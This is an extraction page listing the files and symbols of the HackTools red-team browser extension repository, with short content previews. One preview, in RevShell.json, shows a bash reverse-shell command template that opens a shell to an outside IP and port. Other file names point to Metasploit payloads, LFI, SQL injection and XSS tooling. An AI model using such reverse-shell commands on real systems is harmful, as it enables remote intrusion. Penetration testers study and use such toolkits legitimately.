FILE: src/components/linux/ReverseShell.tsx
  type DataType (line 15) | interface DataType {
  type DataIndex (line 22) | type DataIndex = keyof DataType;
  function ReverseShell (line 25) | function ReverseShell () {

FILE: src/components/linux/TtySpawnShell.tsx
  function TTY (line 6) | function TTY () {

FILE: src/components/rss/BugsCX.tsx
  function BugsCX (line 17) | function BugsCX () {

FILE: src/components/rss/CVESearch.tsx
  function CVESearch (line 12) | function CVESearch () {

FILE: src/components/rss/Cisco.tsx
  function Cisco (line 17) | function Cisco () {

FILE: src/components/rss/CxsecurityChoose.tsx
  function CxsecurityChoose (line 14) | function CxsecurityChoose () {

FILE: src/components/rss/DorksCX.tsx
  function DorksCX (line 17) | function DorksCX () {

FILE: src/components/rss/ExploitCX.tsx
  function ExploitCX (line 17) | function ExploitCX () {

FILE: src/components/rss/ExploitDB.tsx
  function ExploitDB (line 17) | function ExploitDB () {

FILE: src/components/rss/FeedRSS.tsx
  function FeedRSS (line 13) | function FeedRSS () {

FILE: src/components/types/EchoFileName.ts
  type EchoFileName (line 1) | type EchoFileName = {

FILE: src/components/types/Ipv4TcpCacheState.ts
  type Ipv4TcpCacheState (line 1) | type Ipv4TcpCacheState = {

FILE: src/components/types/MSFBuilder.ts
  type MSFBuilder (line 1) | type MSFBuilder = {

FILE: src/components/types/ObfuscatedFile.ts
  type ObfuscatedFile (line 1) | type ObfuscatedFile = {

FILE: src/components/web/LFI.tsx
  function LFI (line 8) | function LFI () {

FILE: src/components/web/PhpReverseShell.tsx
  function PhpReverseShell (line 25) | function PhpReverseShell () {

FILE: src/components/web/SqlInjection.tsx
  function SQLi (line 6) | function SQLi () {

FILE: src/components/web/XSS.tsx
  function XSS (line 6) | function XSS () {
Condensed preview — 49 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (354K chars).
[
  {
    "path": ".babelrc",
    "chars": 217,
    "preview": "{\r\n  \"presets\": [\r\n      [\r\n          \"@babel/preset-env\",\r\n          {\r\n              \"modules\": false\r\n          }\r\n  "
  },
  {
    "path": ".gitignore",
    "chars": 141,
    "preview": "/.git\n/node_modules\n/dist\n.DS_Store\nyarn.lock\npackage-lock.json\nyarn-error.log\n.scannerwork\n.vscode\n.idea\n.github\npnpm-l"
  },
  {
    "path": "README.md",
    "chars": 7788,
    "preview": "<div align=\"center\">\n  <img alt=\"logo_hack_tools\" src=\"https://i.imgur.com/yoUssC7.png\" />\n  <h1>Welcome to HackTools !<"
  },
  {
    "path": "package.json",
    "chars": 3276,
    "preview": "{\n    \"name\": \"hack-tools\",\n    \"version\": \"1.0.0\",\n    \"description\": \"The all in one Red team browser extension for we"
  },
  {
    "path": "src/App.tsx",
    "chars": 809,
    "preview": "import React from 'react';\r\nimport ReactDOM from 'react-dom';\r\nimport { Router } from 'react-chrome-extension-router';\r\n"
  },
  {
    "path": "src/assets/css/style.css",
    "chars": 3630,
    "preview": ".logo:hover {\r\n    cursor: pointer;\r\n    animation: jelly 0.5s;\r\n}\r\n\r\n.logo {\r\n    padding-left: 17px;\r\n    padding-top:"
  },
  {
    "path": "src/assets/data/Encoder.json",
    "chars": 1341,
    "preview": "[\n\t{ \"value\": \"cmd/echo\" },\n\t{ \"value\": \"cmd/generic_sh\" },\n\t{ \"value\": \"cmd/ifs\" },\n\t{ \"value\": \"cmd/perl\" },\n\t{ \"value"
  },
  {
    "path": "src/assets/data/Format.json",
    "chars": 1162,
    "preview": "[\n\t{ \"value\": \"asp\" },\n\t{ \"value\": \"aspx\" },\n\t{ \"value\": \"aspx-exe\" },\n\t{ \"value\": \"axis2\" },\n\t{ \"value\": \"bash\" },\n\t{ \""
  },
  {
    "path": "src/assets/data/Payloads.json",
    "chars": 25588,
    "preview": "[\n\t{ \"value\": \"aix/ppc/shell_bind_tcp\" },\n\t{ \"value\": \"aix/ppc/shell_find_port\" },\n\t{ \"value\": \"aix/ppc/shell_interact\" "
  },
  {
    "path": "src/assets/data/Platform.json",
    "chars": 687,
    "preview": "[\n\t{ \"value\": \"aix\" },\n\t{ \"value\": \"android\" },\n\t{ \"value\": \"apple_ios\" },\n\t{ \"value\": \"bsd\" },\n\t{ \"value\": \"bsdi\" },\n\t{"
  },
  {
    "path": "src/assets/data/RevShell.json",
    "chars": 20138,
    "preview": "[\n    {\n        \"name\": \"Bash -i\",\n        \"command\": \"{shell} -i >& /dev/tcp/${values.ip}/${values.port} 0>&1\",\n       "
  },
  {
    "path": "src/assets/img/icons/iconfont.js",
    "chars": 40344,
    "preview": "!function(t){var c,l,h,a,o,v='<svg><symbol id=\"icon-Encode-File\" viewBox=\"0 0 1024 1024\"><path d=\"M409.6 853.333333H34.1"
  },
  {
    "path": "src/components/AboutUs.tsx",
    "chars": 4411,
    "preview": "import React from 'react';\nimport { Typography, Divider } from 'antd';\n\nconst { Title, Paragraph, Link } = Typography;\n\n"
  },
  {
    "path": "src/components/LayoutApp.tsx",
    "chars": 12008,
    "preview": "import React, { useEffect } from 'react';\r\nimport { Layout, Menu, Typography, theme, Button, Select, ConfigProvider, Swi"
  },
  {
    "path": "src/components/encoding/DataEncoding.tsx",
    "chars": 7725,
    "preview": "import React, { useState } from 'react';\nimport { Button, Input, Typography, message, Divider, Menu, Dropdown } from 'an"
  },
  {
    "path": "src/components/encoding/Hashing.tsx",
    "chars": 5759,
    "preview": "import React, { useState } from 'react';\nimport { Button, Input, Typography, Menu, Dropdown, Divider, message } from 'an"
  },
  {
    "path": "src/components/encoding/HexEncode.tsx",
    "chars": 4930,
    "preview": "import React, { useState } from 'react';\r\nimport { Button, Input, Typography, message, Divider } from 'antd';\r\nimport { "
  },
  {
    "path": "src/components/encoding/URLEncode.tsx",
    "chars": 4032,
    "preview": "import React, { useState } from 'react';\nimport { Button, Input, Typography, message, Divider } from 'antd';\nimport { Co"
  },
  {
    "path": "src/components/file_transfer/File_transfer.tsx",
    "chars": 14875,
    "preview": "import React from 'react';\nimport PersistedState from 'use-persisted-state';\nimport { Typography, Row, Col, Divider, Inp"
  },
  {
    "path": "src/components/file_transfer/ObfuscatedFiles.tsx",
    "chars": 7198,
    "preview": "import React, { useState } from 'react';\nimport PersistedState from 'use-persisted-state';\nimport { Button, Input, Typog"
  },
  {
    "path": "src/components/http_utils/HTTP-Utils.tsx",
    "chars": 12963,
    "preview": "import React, { useState } from 'react';\nimport {\n    Button,\n    Typography,\n    Row,\n    Col,\n    Input,\n    Select,\n "
  },
  {
    "path": "src/components/linux/LinuxCommands.tsx",
    "chars": 9266,
    "preview": "import React from 'react';\nimport { Typography, Divider, Button, Collapse } from 'antd';\nimport { ArrowsAltOutlined } fr"
  },
  {
    "path": "src/components/linux/MSFBuilder.tsx",
    "chars": 14802,
    "preview": "import React from 'react';\nimport { Input, Typography, Row, Divider, Select, Form, Col, Collapse } from 'antd';\nimport P"
  },
  {
    "path": "src/components/linux/PowershellCommands.tsx",
    "chars": 16357,
    "preview": "import React from 'react';\nimport { Typography, Divider, Button, message } from 'antd';\nimport SyntaxHighlighter from 'r"
  },
  {
    "path": "src/components/linux/ReverseShell.tsx",
    "chars": 15005,
    "preview": "import React, { useRef, useState } from 'react';\r\nimport { message, Typography, Row, Col, Input, Table, Tag, Select, For"
  },
  {
    "path": "src/components/linux/TtySpawnShell.tsx",
    "chars": 2997,
    "preview": "import React from 'react';\nimport { Typography, Divider, Space } from 'antd';\n\nconst { Title, Paragraph, Text } = Typogr"
  },
  {
    "path": "src/components/notepad/Notepad.tsx",
    "chars": 670,
    "preview": "import React from 'react';\nimport MDEditor from '@uiw/react-md-editor';\nimport PersistedState from 'use-persisted-state'"
  },
  {
    "path": "src/components/rss/BugsCX.tsx",
    "chars": 4622,
    "preview": "import React from 'react';\nimport { Typography, Empty, Spin, Button, List, Tag } from 'antd';\nimport { PageHeader } from"
  },
  {
    "path": "src/components/rss/CVESearch.tsx",
    "chars": 9178,
    "preview": "import React, { useState } from 'react';\nimport { Typography, Empty, Spin, Button, Tag, Descriptions, Input, List, Divid"
  },
  {
    "path": "src/components/rss/Cisco.tsx",
    "chars": 5515,
    "preview": "import React from 'react';\nimport { Typography, Empty, Spin, Button, List, Tag } from 'antd';\nimport { PageHeader } from"
  },
  {
    "path": "src/components/rss/CxsecurityChoose.tsx",
    "chars": 3871,
    "preview": "import React from 'react';\nimport { Typography, Card, Col, Row, Button } from 'antd';\nimport { PageHeader } from '@ant-d"
  },
  {
    "path": "src/components/rss/DorksCX.tsx",
    "chars": 3300,
    "preview": "import React from 'react';\nimport { Typography, Empty, Spin, Button, List, Tag } from 'antd';\nimport { PageHeader } from"
  },
  {
    "path": "src/components/rss/ExploitCX.tsx",
    "chars": 4981,
    "preview": "import React from 'react';\nimport { Typography, Empty, Spin, Button, List, Tag } from 'antd';\nimport { PageHeader } from"
  },
  {
    "path": "src/components/rss/ExploitDB.tsx",
    "chars": 4901,
    "preview": "import React from 'react';\nimport { Typography, Empty, Spin, Button, List, Tag } from 'antd';\nimport { PageHeader } from"
  },
  {
    "path": "src/components/rss/FeedRSS.tsx",
    "chars": 7843,
    "preview": "import React from 'react';\nimport { Typography, Card, Col, Row, Avatar, Tooltip, Button } from 'antd';\nimport { goTo } f"
  },
  {
    "path": "src/components/types/EchoFileName.ts",
    "chars": 56,
    "preview": "type EchoFileName = {\n\tname: string;\n\tinput: string;\n};\n"
  },
  {
    "path": "src/components/types/Ipv4TcpCacheState.ts",
    "chars": 198,
    "preview": "export type Ipv4TcpCacheState = {\n    ip: string | number;\n    port: string | number;\n    output_file_name?: string | nu"
  },
  {
    "path": "src/components/types/MSFBuilder.ts",
    "chars": 233,
    "preview": "export type MSFBuilder = {\n\tPayload: string;\n\tLHOST: string;\n\tLPORT: string;\n\tEncoder: string;\n\tEncoderIterations: strin"
  },
  {
    "path": "src/components/types/ObfuscatedFile.ts",
    "chars": 65,
    "preview": "export type ObfuscatedFile = {\n\tname: string;\n\tinput: string;\n};\n"
  },
  {
    "path": "src/components/web/LFI.tsx",
    "chars": 10182,
    "preview": "import React from 'react';\nimport { Button, message, Typography, Divider } from 'antd';\nimport { CopyOutlined, LinkOutli"
  },
  {
    "path": "src/components/web/PhpReverseShell.tsx",
    "chars": 20734,
    "preview": "import React from 'react';\r\nimport PersistedState from 'use-persisted-state';\r\nimport { Input, Button, message, Typograp"
  },
  {
    "path": "src/components/web/SqlInjection.tsx",
    "chars": 11389,
    "preview": "import React from 'react';\nimport { Typography, Divider } from 'antd';\n\nconst { Title, Paragraph, Text, Link } = Typogra"
  },
  {
    "path": "src/components/web/XSS.tsx",
    "chars": 6659,
    "preview": "import React from 'react';\nimport { Typography, Divider } from 'antd';\n\nconst { Title, Paragraph, Text } = Typography;\n\n"
  },
  {
    "path": "src/devtools/devtools.html",
    "chars": 94,
    "preview": "<!DOCTYPE html>\r\n<html>\r\n\r\n<head>\r\n    <script src=\"devtools.js\"></script>\r\n</head>\r\n\r\n</html>"
  },
  {
    "path": "src/devtools/devtools.js",
    "chars": 407,
    "preview": "navigator.userAgent.indexOf('Firefox') != -1 &&\r\n\tbrowser.devtools.panels.create('HackTools', 'get_started16.png', 'inde"
  },
  {
    "path": "src/index.html",
    "chars": 169,
    "preview": "<!DOCTYPE html>\r\n<html lang=\"en\">\r\n\r\n<head>\r\n    <meta charset=\"UTF-8\" />\r\n    <title>Hack-Tools</title>\r\n</head>\r\n\r\n<bo"
  },
  {
    "path": "src/manifest.json",
    "chars": 854,
    "preview": "{\r\n    \"name\": \"Hack-Tools\",\r\n    \"version\": \"0.5.0\",\r\n    \"description\": \"The all in one Red team extension for web pen"
  },
  {
    "path": "tsconfig.json",
    "chars": 562,
    "preview": "{\n  \"compilerOptions\": {\n    \"jsx\": \"react\",\n    \"module\": \"commonjs\",\n    \"allowSyntheticDefaultImports\": true,\n    \"no"
  },
  {
    "path": "webpack.config.js",
    "chars": 2708,
    "preview": "const webpack = require('webpack');\r\nconst path = require('path');\r\nconst HtmlWebpackPlugin = require('html-webpack-plug"
  }
]

About this extraction

This page contains the full source code of the LasCC/HackTools GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 49 files (328.8 KB), approximately 90.5k tokens, and a symbol index with 32 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!